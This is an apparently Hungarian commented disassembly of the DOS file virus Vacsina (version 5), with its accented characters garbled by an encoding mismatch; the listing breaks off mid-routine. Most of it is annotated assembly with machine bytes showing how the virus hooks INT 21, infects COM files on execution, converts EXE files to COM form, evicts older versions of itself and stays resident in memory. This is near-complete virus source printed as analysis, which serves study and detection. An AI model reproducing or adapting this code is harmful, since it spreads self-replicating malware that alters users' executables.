***************************
                                 * A Vacsina 5-”s verzi˘ja *
                                 ***************************

A vˇrus a mem˘ri ban val˘ elhelyezked‚se ‚s CS-e szerint van list zva.

A vˇrus hossza COM fileban 1206D-1221D, EXE fileban 132D, illetve 1338D-1353D by
						te.

Nem zen‚l, semmi k rt nem tesz. (Csak a fileok idej‚t nem  llˇtja vissza. )

A fileokat a 4B DOS funkci˘ meghˇv sakor fert”zi meg.

Egy file fert”z”tts‚g‚t az utols˘ 8 byteb˘l  llapˇtja meg. B”vebb leˇr s t l sd 
						ott. Kiˇrt sa is
ez alapj n t”rt‚nhet.

1206D-n l hosszabb,62867D-n‚l r”videbb,JMP-pal kezd”d” COM fileokat, valamint a 
						64947D-n‚l r”videbb
EXE fileokat fert”zi.A COM fileokat paragrafushat rra kerekˇti, majd a lejjebb l
						 that˘ form ban
az eg‚sz vˇrust a mem˘rialeˇr˘ blokkj val egytt a filehoz m solja. Fert”z‚s ut 
						n egy bip hangot
hallat. A fert”z‚s idej‚re egy VACSINA nev filet megnyit, de semmit sem csin l 
						vele. Futtat skor
az eredeti 3 byteot nem ˇrja vissza, hanem direkt oda ugrik, ahova a file elei J
						MP mutatott.
EXE filehoz, ha a headerje stimmel, 0039-t”l 0084 byteot fz (nincs kerekˇt‚s). 
						Ez a r‚sz semmit
sem csin l, csak futtatja az eredeti EXE-t. C‚lja, hogy EXE-b”l COM-ot csin ljon
						,ˇgy a vˇrus k‚s”bb
m r megfert”zheti.rdekes,hogy majdnem ugyanezt a k˘dsorozatot tal ltam t”bb ere
						deti MS-DOS 3.10- s
fileon (DEBUG,PRINT,...). Igy a vˇrusˇr˘ ezt a r‚szt (az EXE-k relok l s t) inne
						n vette. Felt‚te-
lezem, hogy van egy olyan EXE2BIN program, ami nem relok lhat˘ EXE-ket is COM-m 
						 alakˇt. Innen
sz rmazhat ez a k˘dr‚szlet.

Azt, hogy m r a mem˘ri ban van-e a Vacsina a 0000:00C5-”n ehelyezett 397F azonos
						ˇt˘sz˘b˘l  llapitja
meg. 0000:00C7-re helyezi a vˇrus verzi˘sz m t.



FFF0 MLB           DB   4D        ;A vˇrus egy kl”n mem˘riablokkban helyezkedik
						 el.
FFF1 MLB_GAZDA     DW   ?         ;Furcsa m˘don ezt is "cipeli" mag val
FFF3 MLB_HOSSZ     DW   ?         ;Mem˘riablokk hossza paragrafusokban
FFF5               DB   0B DUP ?


     ;---------------------------------------------------------------
     ;                           V ltoz˘k
     ;---------------------------------------------------------------

0000 ERE_INT21     DD   ?         ;INT 21 eredeti cˇme
0004 ERE_INT24     DD   ?         ;INT 24 eredeti cˇme
0008 F_ATTR        DW   ?         ;File eredeti attributtuma
000A HANDLE        DW   ?         ;File handle
000C BUFFER        DB   8 DUP (?) ;8 byte beffer


     ;              Egy szabv nyos FCB

0014 FCB           DB   0                   ;Aktu lis drive
0015               DB   'VACSINA    '       ;File n‚v
0020               DW   ?                   ;Kurrens blokk
0022               DW   ?                   ;Rekordhossz
0024               DD   ?                   ;File hossz
0028               DW   ?                   ;D tum
002A               DW   ?                   ;Id”
002C               DB   8 DUP (?)           ;Lefoglalt
0034               DB   ?                   ;Rekordsz m a blokkban
0035               DD   ?                   ;Random rekord


     ;------------------------------------------------------------------
     ;EXE filehoz csak az innent”l kezd”d” 0084 (132D) byteot ˇrja hozz 
     ;------------------------------------------------------------------

0039               DB   '                    '  ;20 db SPC

		   ORG  0045      ;Źtfed‚s 0045-004C-ig

0045 KEZD_IP       DW   ?         ;ip kezdeti ‚rt‚ke ez lesz
0047 KEZD_CS       DW   ?         ;cs kezdeti ‚rt‚ke ez lesz
0049 KEZD_SP       DW   ?         ;sp kezdeti ‚rt‚ke ez lesz
004B KEZD_SS       DW   ?         ;ss kezdeti ‚rt‚ke ez lesz

     ;---------------------------------------------------------------
     ;                Bel‚p‚si pont eredetileg EXE filen l
     ;---------------------------------------------------------------
     ;Ezzel a r‚sszel ‚ri el, hogy egy EXE file COM form tumŁ legyen ‚s lehessen
						 fert”zni

004D E80000        CALL 0050
0050 5B          * POP  BX                  ;bx=0050
0051 50            PUSH AX
0052 8CC0          MOV  AX,ES
0054 051000        ADD  AX,0010             ;ax a program leend” elej‚re mutat
0057 8B0E0E01      MOV  CX,[010E]           ;Stack t vols g
005B 03C8          ADD  CX,AX               ;Mi lesz ss kezdeti ‚rt‚ke
005D 894FFB        MOV  [BX-05],CX          ;KEZD_SS (004B)
0060 8B0E1601      MOV  CX,[0116]           ;K˘dterlet t vols ga
0064 03C8          ADD  CX,AX
0066 894FF7        MOV  [BX-09],CX          ;KEZD_CS (0047)
0069 8B0E1001      MOV  CX,[0110]           ;sp kezdeti ‚rt‚ke
006D 894FF9        MOV  [BX-07],CX          ;KEZD_SP (0049)
0070 8B0E1401      MOV  CX,[0114]           ;ip kezdeti ‚rt‚ke
0074 894FF5        MOV  [BX-0B],CX          ;KEZD_IP (0045)
0077 8B3E1801      MOV  DI,[0118]           ;Els” reklok ci˘s bejegyz‚s
007B 8B160801      MOV  DX,[0108]           ;Header hossza paragrafusban
007F B104          MOV  CL,04
0081 D3E2          SHL  DX,CL               ;Header hossza byteokban
0083 8B0E0601      MOV  CX,[0106]           ;Relok ci˘s bejegyz‚sek sz ma
0087 E317          JCXZ 00A0                ;Ugr s, ha nincs mit relok lni


     ;                       Relok l s ciklusa

0089 26          * ES:
008A C5B50001      LDS  SI,[DI+0100]        ;Hol kell relok lni
008E 83C704        ADD  DI,+04              ;K”vetkez” relok ci˘s bejegyz‚s
0091 8CDD          MOV  BP,DS
0093 26            ES:
0094 032E0801      ADD  BP,[0108]           ;Header hossza paragrafusban
0098 03E8          ADD  BP,AX               ;ax=program (file) val˘di kezdete
009A 8EDD          MOV  DS,BP               ;Itt kell relok lni
009C 0104          ADD  [SI],AX             ;Relok ci˘
009E E2E9          LOOP 0089


     ;            Az  trelok lt programot a hely‚re rakja

00A0 0E          * PUSH CS
00A1 1F            POP  DS                  ;ds=cs
00A2 BF0001        MOV  DI,0100
00A5 8BF2          MOV  SI,DX               ;dx=Header hossza byteokban
00A7 81C60001      ADD  SI,0100
00AB 8BCB          MOV  CX,BX               ;Mennyi byteot kell mozgatni ? (Ez e
						gy kicsit t”bb)
00AD 2BCE          SUB  CX,SI
00AF F3            REPZ
00B0 A4            MOVSB


     ;                    Az eredeti EXE program futtat sa

00B1 58            POP  AX                  ;ax eredeti ‚rt‚ke
00B2 FA            CLI
00B3 8E57FB        MOV  SS,[BX-05]          ;KEZD_SS
00B6 8B67F9        MOV  SP,[BX-07]          ;KEZD_SP
00B9 FB            STI
00BA FF6FF5        JMP  FAR [BX-0B]         ;KEZD_IP, KEZD_CS


     ;---------------------------------------------------------------
     ;               INT 24 (DOS kritikus hibakezel”je)
     ;---------------------------------------------------------------


00BD B003        * MOV	AL,03               ;DOS hib t jelezzen
00BF CF            IRET


     ;---------------------------------------------------------------
     ;                  INT 21 (DOS bel‚p‚si pontja)
     ;---------------------------------------------------------------
     ;          Csak a 4B00 (EXECUTE) funkci˘n l avatkozik k”zbe

00C0 9C          * PUSHF
00C1 3D004B        CMP	AX,4B00
00C4 7406          JZ	00CC
00C6 9D            POPF
00C7 2E            CS:
00C8 FF2E0000      JMP	FAR [0000]



     ;                     A DOS 4B00 alfunkci˘ja

00CC 06          * PUSH	ES                  ;bp+10
00CD 1E            PUSH	DS                  ;bp+0E
00CE 55            PUSH	BP                  ;bp+0C
00CF 57            PUSH	DI                  ;bp+0A
00D0 56            PUSH	SI                  ;bp+08
00D1 52            PUSH	DX                  ;bp+06
00D2 51            PUSH	CX                  ;bp+04
00D3 53            PUSH	BX                  ;bp+02
00D4 50            PUSH	AX                  ;bp+00
00D5 8BEC          MOV	BP,SP


     ;                     INT 24 lek‚rdez‚se,  tˇr sa

00D7 B82435        MOV	AX,3524             ;GET_INT_VECT (es:bx)
00DA CD21          INT	21
00DC 2E            CS:
00DD 8C060600      MOV	[0006],ES           ;ERE_INT24+2
00E1 2E            CS:
00E2 891E0400      MOV	[0004],BX           ;ERE_INT24
00E6 0E            PUSH	CS
00E7 1F            POP	DS
00E8 BABD00        MOV	DX,00BD
00EB B82425        MOV	AX,2524             ;SET_INT_VECT (ds:dx)
00EE CD21          INT	21


     ; A VACSINA nev file megnyit sa (val˘szˇnleg a vˇrus nyomonk”vet‚se miatt
						)

00F0 0E            PUSH CS                  ;Megj.:felesleges
00F1 1F            POP  DS
00F2 BA1400        MOV  DX,0014
00F5 B40F          MOV  AH,0F               ;OPEN_FCB (ds:dx)
00F7 CD21          INT	21


     ;      File eredeti attributtum nak lek‚rdez‚se, R/O bit t”rl‚se

00F9 B80043        MOV  AX,4300             ;GET_FILE_ATTR (cx)
00FC 8E5E0E        MOV  DS,[BP+0E]
00FF 8B5606        MOV  DX,[BP+06]
0102 CD21          INT  21
0104 7303          JNB  0109
0106 E9DA01        JMP  02E3                ;Hib n l
0109 2E          * CS:
010A 890E0800      MOV  [0008],CX           ;F_ATTR
010E B80143        MOV  AX,4301             ;SET_FILE_ATTR (cx)
0111 80E1FE        AND  CL,FE               ;R/O bit t”rl‚se
0114 CD21          INT  21
0116 7303          JNB  011B
0118 E9C801        JMP  02E3                ;Hib n l


     ;                      C‚lbavett file megnyit sa
     ;      HIBA !!! A file eredeti idej‚t nem k‚rdezi le ‚s nem  llˇtja vissza.

011B B8023D      * MOV  AX,3D02             ;OPEN_HANDLE (dx:dx)
011E 8E5E0E        MOV  DS,[BP+0E]
0121 8B5606        MOV  DX,[BP+06]
0124 CD21          INT  21
0126 7303          JNB  012B
0128 E9A801        JMP  02D3                ;Hib n l
012B 2E          * CS:
012C A30A00        MOV  [000A],AX           ;HANDLE
012F 8BD8          MOV  BX,AX


     ;              File els” 6 bytej nak beolvas sa a BUFFER-be

0131 0E            PUSH CS
0132 1F            POP  DS
0133 BA0C00        MOV  DX,000C             ;offset BUFFER
0136 B90600        MOV  CX,0006             ;6 byte olvas sa
0139 B43F          MOV  AH,3F               ;READ_HANDLE (bx,ds:dx,cx)
013B CD21          INT  21
013D 7219          JB   0158                ;Hib n l
013F 3D0600        CMP  AX,0006
0142 7514          JNZ	0158


     ;               EXE-e a kiszemelt file ?

0144 2E            CS:
0145 813E0C004D5A  CMP  WORD PTR [000C],5A4D;EXE file-e
014B 7503          JNZ	0150
014D E9B501        JMP	0305


     ;---------------------------------------------------------------
     ;                          COM file
     ;---------------------------------------------------------------

0150 2E          * CS:
0151 803E0C00E9    CMP	BYTE PTR [000C],E9  ;Csak akkor fert”zzk, ha JMP-pal kez
						d”dik
0156 7403          JZ	015B


     ;              Seg‚dugr s hib n l

0158 E96F01      * JMP  02CA


     ;                   1206D < file hossz < 62867D

015B B80242      * MOV  AX,4202             ;File v‚g‚re  ll s
015E B90000        MOV  CX,0000
0161 8BD1          MOV  DX,CX
0163 2E            CS:
0164 8B1E0A00      MOV  BX,[000A]           ;HANDLE
0168 CD21          INT  21                  ;dx:ax=file hossz
016A 72EC          JB   0158                ;Hib n l
016C 83FA00        CMP	DX,+00
016F 75E7          JNZ	0158
0171 3DB604        CMP	AX,04B6
0174 76E2          JBE	0158
0176 3D93F5        CMP	AX,F593
0179 73DD          JNB	0158


     ;                   File adatainak elt rol sa

017B 2E            CS:
017C A39E04        MOV  [049E],AX           ;ERE_HOSSZ
017F 2E            CS:
0180 A10D00        MOV  AX,[000D]           ;File 2.,3. byteja
0183 050301        ADD  AX,0103             ;+ 0103
0186 2E            CS:
0187 A3A004        MOV  [04A0],AX           ;ERE_2_3


     ;              File utols˘ 8 bytej nak beolvas sa

018A B80242        MOV  AX,4202             ;File v‚ge-8-dik pozˇci˘ra
018D B9FFFF        MOV  CX,FFFF
0190 BAF8FF        MOV  DX,FFF8
0193 2E            CS:
0194 8B1E0A00      MOV  BX,[000A]           ;HANDLE
0198 CD21          INT  21
019A 72BC          JB   0158                ;Hib n l
019C 2E            CS:
019D 8B1E0A00      MOV  BX,[000A]           ;HANDLE
01A1 0E            PUSH CS
01A2 1F            POP  DS
01A3 BA0C00        MOV  DX,000C             ;offset BUFFER
01A6 B90800        MOV  CX,0008             ;8 byte olvas sa
01A9 B43F          MOV  AH,3F               ;READ_HANDLE (bx,ds:dx,cx)
01AB CD21          INT  21
01AD 72A9          JB   0158                ;Hib n l
01AF 3D0800        CMP  AX,0008
01B2 75A4          JNZ  0158                ;Hib n l


     ;                      Fert”z”tt-e m r a file

01B4 2E            CS:
01B5 813E1000F47A  CMP  WORD PTR [0010],7AF4;Azonosˇt˘sz˘
01BB 7577          JNZ  0234                ;M‚g nem fer”z”tt
01BD 2E            CS:
01BE 833E120005    CMP  WORD PTR [0012],+05 ;Verzi˘sz m
01C3 90            NOP
01C4 7392          JNB  0158                ;Nem fert”zzk


     ;---------------------------------------------------------------
     ;        Egy kor bbi Vacsina m r megfert”zte (azt kiˇrtja)
     ;---------------------------------------------------------------
     ;              Fert”z”tt file eredeti adatai

01C6 2E            CS:
01C7 A10C00        MOV  AX,[000C]           ;ERE_HOSSZ
01CA 2E            CS:
01CB A39E04        MOV  [049E],AX           ;ERE_HOSSZ
01CE 2E            CS:
01CF A10E00        MOV  AX,[000E]           ;ERE_2_3
01D2 2E            CS:
01D3 A3A004        MOV  [04A0],AX           ;ERE_2_3
01D6 2D0301        SUB  AX,0103
01D9 2E            CS:
01DA A30C00        MOV  [000C],AX           ;Eredeti 2.,3. byteja a filenak


     ;               File eredeti 2.,3. bytej nak visszaˇr sa

01DD B80042        MOV  AX,4200             ;File 2. bytej ra  ll
01E0 B90000        MOV  CX,0000
01E3 BA0100        MOV  DX,0001
01E6 2E            CS:
01E7 8B1E0A00      MOV  BX,[000A]           ;HANDLE
01EB CD21          INT  21
01ED 725F          JB   024E                ;Hib n l
01EF B440          MOV  AH,40               ;WRITE_HANDLE (bx,ds:dx,cx)
01F1 0E            PUSH CS
01F2 1F            POP  DS
01F3 BA0C00        MOV  DX,000C             ;offset BUFFER
01F6 B90200        MOV  CX,0002             ;2 byte ˇr sa
01F9 CD21          INT  21
01FB 7251          JB   024E                ;Hib n l
01FD 3D0200        CMP  AX,0002
0200 754C          JNZ  024E                ;Hib n l


     ;              Directory bejegyz‚s aktualiz l sa

0202 2E            CS:
0203 8B1E0A00      MOV  BX,[000A]           ;HANDLE
0207 B445          MOV  AH,45               ;DUPLICATE_HANDLE (bx)
0209 CD21          INT  21
020B 7208          JB   0215                ;Hib n l
020D 8BD8          MOV  BX,AX
020F B43E          MOV  AH,3E               ;CLOSE_HANDLE (bx)
0211 CD21          INT  21
0213 7239          JB   024E                ;Hib n l


     ;                  File eredeti m‚retre v g sa

0215 B80042        MOV  AX,4200             ;File eredeti v‚g‚re  ll
0218 B90000        MOV  CX,0000
021B 2E            CS:
021C 8B169E04      MOV  DX,[049E]           ;ERE_HOSSZ
0220 2E            CS:
0221 8B1E0A00      MOV  BX,[000A]           ;HANDLE
0225 CD21          INT  21
0227 7225          JB   024E                ;Hib n l
0229 B440          MOV  AH,40               ;WRITE_HANDLE (bx,ds:dx,cx)
022B 0E            PUSH CS
022C 1F            POP  DS
022D B90000        MOV  CX,0000             ;Csonkol s
0230 CD21          INT  21
0232 721A          JB   024E                ;Hib n l


     ;                       COM file megfert”z‚se
     ;               Filehossz kerekˇt‚se paragrafushat rra

0234 B80042      * MOV  AX,4200
0237 B90000        MOV	CX,0000
023A 2E            CS:
023B 8B169E04      MOV  DX,[049E]           ;ERE_HOSSZ
023F 83C20F        ADD  DX,+0F
0242 83E2F0        AND  DX,-10              ;Kerekˇt‚s
0245 2E            CS:
0246 8B1E0A00      MOV  BX,[000A]           ;HANDLE
024A CD21          INT	21
024C 7303          JNB	0251


     ;                    Seg‚dugr s hib n l

024E EB7A        * JMP  02CA                ;Hib n l
0250 90            NOP


     ;    A vˇrus mem˘rialeˇr˘ blokkj val egytt hozz m solja mag t a filehoz

0251 2E            CS:
0252 8B1E0A00      MOV  BX,[000A]           ;HANDLE
0256 8CCA          MOV  DX,CS
0258 4A            DEC  DX
0259 8EDA          MOV  DS,DX               ;ds=cs-1 (mem.leˇr˘ blokkra mutat)
025B BA0000        MOV  DX,0000
025E B9B604        MOV  CX,04B6             ;Vˇrus hossza (1206)
0261 B440          MOV  AH,40               ;WRITE_HANDLE (bx,ds:dx,cx)
0263 CD21          INT  21
0265 72E7          JB   024E                ;Hib n l
0267 3DB604        CMP  AX,04B6
026A 75E2          JNZ  024E                ;Hib n l


     ;              Directory bejegyz‚s aktualiz l sa

026C 2E            CS:
026D 8B1E0A00      MOV  BX,[000A]           ;HANDLE
0271 B445          MOV  AH,45               ;DUPLICATE_HANDLE (bx)
0273 CD21          INT  21
0275 7208          JB   027F                ;Hib n l
0277 8BD8          MOV  BX,AX
0279 B43E          MOV  AH,3E               ;CLOSE_HANDLE (bx)
027B CD21          INT  21
027D 72CF          JB   024E                ;Hib n l


     ;             File leend” els” 3 bytej nak kisz mˇt sa

027F 2E            CS:
0280 C6060C00E9    MOV  BYTE PTR [000C],E9  ;JMP k˘dja
0285 2E            CS:
0286 8B169E04      MOV  DX,[049E]           ;ERE_HOSSZ
028A 83C20F        ADD  DX,+0F
028D 83E2F0        AND  DX,-10              ;Kerekˇt‚s
0290 83EA03        SUB  DX,+03              ;-3 a JMP miatt
0293 81C2AC03      ADD  DX,03AC             ;Bel‚p‚si pont eltol sa a file v‚g‚h
						ez k‚pest
0297 2E            CS:
0298 89160D00      MOV  [000D],DX           ;JMP operandusa


     ;                 File els” 3 bytej nak  tˇr sa

029C B80042        MOV  AX,4200             ;File elej‚re
029F B90000        MOV  CX,0000
02A2 8BD1          MOV  DX,CX
02A4 2E            CS:
02A5 8B1E0A00      MOV  BX,[000A]           ;HANDLE
02A9 CD21          INT  21
02AB 72A1          JB   024E                ;Hib n l
02AD 2E            CS:
02AE 8B1E0A00      MOV  BX,[000A]           ;HANDLE
02B2 0E            PUSH CS
02B3 1F            POP  DS
02B4 BA0C00        MOV  DX,000C             ;offset BEFFER
02B7 B90300        MOV  CX,0003             ;3 byte ˇr sa
02BA B440          MOV  AH,40               ;WRITE_HANDLE (bx,ds:dx,cx)
02BC CD21          INT  21
02BE 728E          JB   024E                ;Hib n l
02C0 3D0300        CMP  AX,0003
02C3 7589          JNZ  024E                ;Hib n l


     ;            Egy BELL kiad sa (Val˘szˇnleg ez a verzi˘ m‚g tesztp‚ld ny)

02C5 B8070E        MOV  AX,0E07             ;WRITE_TELETYPE
02C8 CD10          INT	10


     ;                        File lez r sa

02CA B43E        * MOV  AH,3E               ;CLOSE_HANDLE (bx)
02CC 2E            CS:
02CD 8B1E0A00      MOV  BX,[000A]           ;HANDLE
02D1 CD21          INT	21


     ;            File eredeti attributtum nak vissza llˇt sa

02D3 B80143      * MOV  AX,4301             ;SET_FILE_ATTR (cx)
02D6 8E5E0E        MOV  DS,[BP+0E]          ;File nev‚re mutat
02D9 8B5606        MOV  DX,[BP+06]
02DC 2E            CS:
02DD 8B0E0800      MOV  CX,[0008]           ;F_ATTR
02E1 CD21          INT	21


     ;         A VACSINA nev file lez r sa (Łj d tumot kap, semmi m s)

02E3 0E          * PUSH CS
02E4 1F            POP	DS
02E5 BA1400        MOV	DX,0014             ;FCB
02E8 B410          MOV	AH,10               ;CLOSE_FCB
02EA CD21          INT	21


     ;               INT 24 visszaˇr sa, eredeti DOS funkci˘ hˇv sa

02EC B82425        MOV  AX,2524             ;SET_INT_VECT (ds:dx)
02EF 2E            CS:
02F0 C5160400      LDS  DX,[0004]           ;ERE_INT24
02F4 CD21          INT	21
02F6 58            POP	AX
02F7 5B            POP	BX
02F8 59            POP	CX
02F9 5A            POP	DX
02FA 5E            POP	SI
02FB 5F            POP	DI
02FC 5D            POP	BP
02FD 1F            POP	DS
02FE 07            POP	ES
02FF 9D            POPF
0300 2E            CS:
0301 FF2E0000      JMP	FAR [0000]          ;ERE_INT21


     ;---------------------------------------------------------------
     ;                    EXE file COM-m  alkˇt sa
     ;---------------------------------------------------------------
     ;                     file hossz < 64947D

0305 B80242      * MOV  AX,4202             ;File v‚g‚re  ll
0308 B90000        MOV  CX,0000
030B 8BD1          MOV  DX,CX
030D 2E            CS:
030E 8B1E0A00      MOV  BX,[000A]           ;HANDLE
0312 CD21          INT  21
0314 72B4          JB   02CA                ;Hib n l
0316 83FA00        CMP	DX,+00
0319 75AF          JNZ	02CA
031B 3DB3FD        CMP  AX,FDB3             ;64947D
031E 73AA          JNB	02CA


     ;                     Stimmel-e az EXE headerje?

0320 2E            CS:
0321 A39E04        MOV  [049E],AX           ;ERE_HOSSZ
0324 2E            CS:
0325 A11000        MOV  AX,[0010]           ;Filehossz lapokban
0328 48            DEC  AX
0329 B109          MOV  CL,09               ;* 512D
032B D3E0          SHL  AX,CL
032D 2E            CS:
032E 03060E00      ADD  AX,[000E]           ;+a marad‚k
0332 2E            CS:
0333 3B069E04      CMP  AX,[049E]           ;Egyezik-e a hosszal?
0337 7591          JNZ  02CA                ;Ha nem


     ;   A vˇrus egy r‚sz‚t hozz fzi az EXE-hez (Igy COM lehet majd az EXE)

0339 2E            CS:
033A 8B1E0A00      MOV  BX,[000A]           ;HANDLE
033E B440          MOV  AH,40               ;WRITE_HANDLE (bx,ds:dx,cx)
0340 0E            PUSH CS
0341 1F            POP  DS
0342 BA3900        MOV  DX,0039             ;Innent”l
0345 B98400        MOV  CX,0084             ;132D byte kiˇr sa
0348 CD21          INT  21
034A 72C8          JB   0314                ;Hib n l
034C 3D8400        CMP  AX,0084
034F 75E6          JNZ  0337                ;Hib n l


     ;              Directory bejegyz‚s aktualiz l sa

0351 2E            CS:
0352 8B1E0A00      MOV  BX,[000A]           ;HANDLE
0356 B445          MOV  AH,45               ;DUPLICATE_HANDLE (bx)
0358 CD21          INT  21
035A 7208          JB   0364                ;Hib n l
035C 8BD8          MOV  BX,AX
035E B43E          MOV  AH,3E               ;CLOSE_HANDLE (bx)
0360 CD21          INT  21
0362 72B0          JB   0314                ;Hib n l


     ;                  File elj‚re

0364 B80042        MOV  AX,4200
0367 B90000        MOV	CX,0000
036A 8BD1          MOV	DX,CX
036C 2E            CS:
036D 8B1E0A00      MOV  BX,[000A]           ;HANDLE
0371 CD21          INT  21
0373 729F          JB   0314                ;Hib n l


     ;             Leend” els” 3 byte kisz mˇt sa

0375 2E            CS:
0376 C6060C00E9    MOV  BYTE PTR [000C],E9  ;JMP k˘dja
037B 2E            CS:
037C A19E04        MOV  AX,[049E]           ;ERE_HOSSZ
037F 051100        ADD  AX,0011             ;0039+0011+3=004D a bel‚p‚si pont
0382 2E            CS:
0383 A30D00        MOV  [000D],AX           ;JMP operandusa


     ;                Az els” 3 byte fellˇr sa

0386 2E            CS:
0387 8B1E0A00      MOV  BX,[000A]           ;HANDLE
038B B440          MOV  AH,40               ;WRITE_HANDLE
038D 0E            PUSH CS
038E 1F            POP  DS
038F BA0C00        MOV  DX,000C             ;offset BUFFER
0392 B90300        MOV  CX,0003             ;3 byte ˇr sa
0395 CD21          INT  21                  ;COM tˇpusŁ lesz a file
0397 E930FF        JMP  02CA                ;V‚ge
                             ;Megj.:Ha itt egy JMP 0150  llna egyb”l fert”zhetne
						 EXE-t


     ;---------------------------------------------------------------
     ;                   V ltoz˘ (ax eredeti ‚rt‚ke)
     ;---------------------------------------------------------------

039A ERE_AX        DW   ?


     ;---------------------------------------------------------------
     ;                   Bel‚p‚si pont COM programn l

     ;---------------------------------------------------------------

039C E80000      * CALL 039F
039F 5B          * POP	BX                  ;bx=039F
03A0 2E            CS:
03A1 8947FB        MOV	[BX-05],AX          ;ERE_AX (039A)


     ;       Annak eld”nt‚se, hogy a mem˘ri ban ven-e m r Vacsina

03A4 B80000        MOV	AX,0000
03A7 8EC0          MOV	ES,AX
03A9 26            ES:
03AA A1C500        MOV  AX,[00C5]           ;INT 31 vektor nak 2.,3. byteja
03AD 3D7F39        CMP  AX,397F             ;Van-e m r Vacsina a mem˘ri ban ?
03B0 7508          JNZ  03BA                ;Ugr s, ha m‚g nem.
03B2 26            ES:
03B3 A0C700        MOV  AL,[00C7]           ;Mem˘ri ban l‚v” vˇrus verzi˘sz ma
03B6 3C05          CMP  AL,05               ;Ennek a vˇrusnak a verzi˘sz ma
03B8 7332          JNB  03EC                ;Ugr s, ha Łjjabb vagy ez a verzi˘


     ;                            Van-e el‚g szadab mem˘ria

03BA 8BD4        * MOV  DX,SP
03BC 2BD3          SUB	DX,BX
03BE 81EA6C0B      SUB	DX,0B6C
03C2 7228          JB   03EC                ;Ugr s, ha nincs el‚g szabad mem˘ria


     ;A vˇrus kl”n mem˘riablokkba fog kerlni, aminek leˇr˘ blokkja a vˇrus el”
						tt helyezkedik el.
     ;Ennek a mem˘riablokknak hossz t  llˇtja itt be.

03C4 BAC504        MOV  DX,04C5             ;Vˇrus  ltal ig‚nyelt mem˘ria + 0F
03C7 B104          MOV  CL,04
03C9 D3EA          SHR  DX,CL               ;DIV 10
03CB 2E            CS:
03CC 899754FC      MOV  [BX+FC54],DX        ;MLB_HOSSZ (FFF3) Mem˘rialeˇr˘ blokk
						 hossza


     ;            A vˇrus h tr‚bb m solja mag t (004C paragrafussal)

03D0 8CD9          MOV  CX,DS
03D2 03D1          ADD	DX,CX
03D4 8EC2          MOV  ES,DX               ;Ide kell h tr‚bbmozgatni mindent
03D6 8BF3          MOV  SI,BX
03D8 81C651FC      ADD  SI,FC51             ;si=FFF0 (vˇrus a hozz  csatolt mem˘
						rialeˇr˘ blokkal)
03DC 8BFE          MOV  DI,SI               ;Ugyanilyen offset helyre m sol
03DE B9B604        MOV  CX,04B6             ;Vˇrus hossza
03E1 FC            CLD
03E2 F3            REPZ
03E3 A4            MOVSB


     ;               A vez‚rl‚s  tkerl a "m solat" vˇrusra

03E4 06            PUSH ES
03E5 E80300        CALL	03EB
03E8 EB13          JMP	03FD                ;es:03FD-n folytat˘dik
03EA 90            NOP
03EB CB          * RETF


     ;                    Az eredeti program futtat sa

03EC 8CC8        * MOV	AX,CS
03EE 8ED8          MOV	DS,AX               ;Szegmensregiszterek be llˇt sa
03F0 8EC0          MOV	ES,AX
03F2 8ED0          MOV	SS,AX
03F4 2E            CS:
03F5 8B47FB        MOV	AX,[BX-05]          ;ERE_AX (039A)
03F8 2E            CS:
03F9 FFA70101      JMP	[BX+0101]           ;ERE_2_3 (04A0) Hol kezd”d”tt az ered
						eti program?


     ;       Ide kerl a vez‚rl‚s a m r lem solt vˇrusban (03E8-r˘l)
     ;   Az eredeti programot, PSP-j‚t, mem.leˇr˘ blokkj t is h tr‚bb mozgatjuk

03FD BE0000      * MOV	SI,0000             ;Megj.: felesleges
0400 BF0000        MOV	DI,0000
0403 8BCB          MOV	CX,BX               ;bx=039F
0405 81C161FC      ADD	CX,FC61             ;cx=0000  (eredeti program+PSP+mem.le
						ˇr˘ blokk hossza)
0409 8CC2          MOV	DX,ES
040B 4A            DEC	DX
040C 8EC2          MOV	ES,DX               ;szegmens--, mert a mem.leˇr˘ blokkot
						 is m soljuk
040E 8CDA          MOV	DX,DS
0410 4A            DEC	DX
0411 8EDA          MOV	DS,DX
0413 03F1          ADD	SI,CX
0415 4E            DEC	SI                  ;Visszafel‚ m solunk az‚rt kell
0416 8BFE          MOV	DI,SI
0418 FD            STD
0419 F3            REPZ
041A A4            MOVSB
041B FC            CLD


     ;                    H tr‚bbmozgat s dokument l sa

041C 2E            CS:
041D 8B9754FC      MOV	DX,[BX+FC54]        ;MLB_HOSSZ=4C Virus  ltal lefoglalt m
						em˘riablokk hossza
0421 26            ES:
0422 29160300      SUB	[0003],DX           ;Az eredeti program mem.blokkj nak cs
						”kkent‚se
0426 26            ES:
0427 8C0E0100      MOV	[0001],CS           ;Uj gazda


     ;             Vˇrus visszam sol sa a szabadd  tett helyre

042B BF0000        MOV	DI,0000
042E 8BF3          MOV	SI,BX               ;bx=039F
0430 81C651FC      ADD	SI,FC51             ;FFF0  Vˇrus kezdete (mem.leˇr˘ blokk
						al egytt)
0434 B9B604        MOV	CX,04B6
0437 1E            PUSH	DS
0438 07            POP	ES                  ;Vˇsszam solunk
0439 0E            PUSH	CS
043A 1F            POP	DS                  ;es=ds ; ds=cs
043B F3            REPZ
043C A4            MOVSB


     ;                  Egy‚b teend”k (az Łj PSP miatt)

043D 26            ES:
043E 832E030001    SUB	WORD PTR [0003],+01 ;A mem.leˇr˘ blokk hossz t nem kell s
						z molni!
0443 53            PUSH	BX
0444 8CCB          MOV	BX,CS
0446 B450          MOV	AH,50               ;SET_PSP (bx)
0448 CD21          INT	21
044A 5B            POP	BX
044B 2E            CS:
044C 8C0E3600      MOV	[0036],CS           ;PSP-n bell a gazda mehat roz sa
0450 2E            CS:
0451 8B162C00      MOV	DX,[002C]           ;Environment szegmense
0455 4A            DEC	DX
0456 8EC2          MOV	ES,DX               ;Environment mem.leˇr˘ blokkja
0458 26            ES:
0459 8C0E0100      MOV	[0001],CS           ;Uj gazda


     ;                  INT 21 lek‚rdez‚se ‚s  tˇr sa

045D B82135        MOV	AX,3521             ;GET_INT_VECT (es:bx)
0460 53            PUSH	BX
0461 CD21          INT	21
0463 36            SS:
0464 8C060200      MOV	[0002],ES           ;ERE_INT21+2
0468 36            SS:
0469 891E0000      MOV	[0000],BX           ;ERE_INT21
046D 5B            POP	BX
046E B82125        MOV	AX,2521             ;SET_INT_VECT (ds:dx)
0471 8CD2          MOV	DX,SS
0473 8EDA          MOV	DS,DX
0475 BAC000        MOV	DX,00C0             ;00C0-t˘l lesz az INT 21 rutin
0478 CD21          INT	21


     ;                  "A vˇrus m r a mem˘ri ban van" jelz‚s

047A B80000        MOV	AX,0000
047D 8EC0          MOV	ES,AX
047F 26            ES:
